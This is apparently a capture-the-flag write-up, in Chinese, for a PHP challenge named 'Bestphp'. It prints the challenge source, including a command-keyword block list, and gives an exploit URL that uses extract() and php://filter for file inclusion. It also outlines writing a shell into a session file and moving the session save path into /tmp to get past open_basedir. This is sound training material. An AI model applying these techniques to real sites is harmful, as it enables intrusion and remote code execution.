http://www.bmzclub.cn/challenges#Bestphp
index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>open_basedir限制访问文件活动目录为:/var/www/html和/tmpcall_user_func($func,$_GET);回调函数名和参数都可控,$_SESSION['name']可控
通过回调extract($file),覆盖掉$file = 'function.php',即可控制$file,进行文件包含
/index.php?function=extract&file=php://filter/convert.base64-encode/resource=function.phpfunction.php
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>admin.php
<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>$_SESSION['name']可控,可以将shell写入session文件,然后包含利用。session的默认保存位置有如下:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID测试了下发现session并不在/tmp下,应该在/var/lib下,但是open_basedir的限制,我们包含不了除指定目录下的任何其他文件,但是我们可以重新调用session_start(),并且设置save_path为我们可访问的目录下


然后覆盖$file去包含/tmp/sess_PHPSESSID







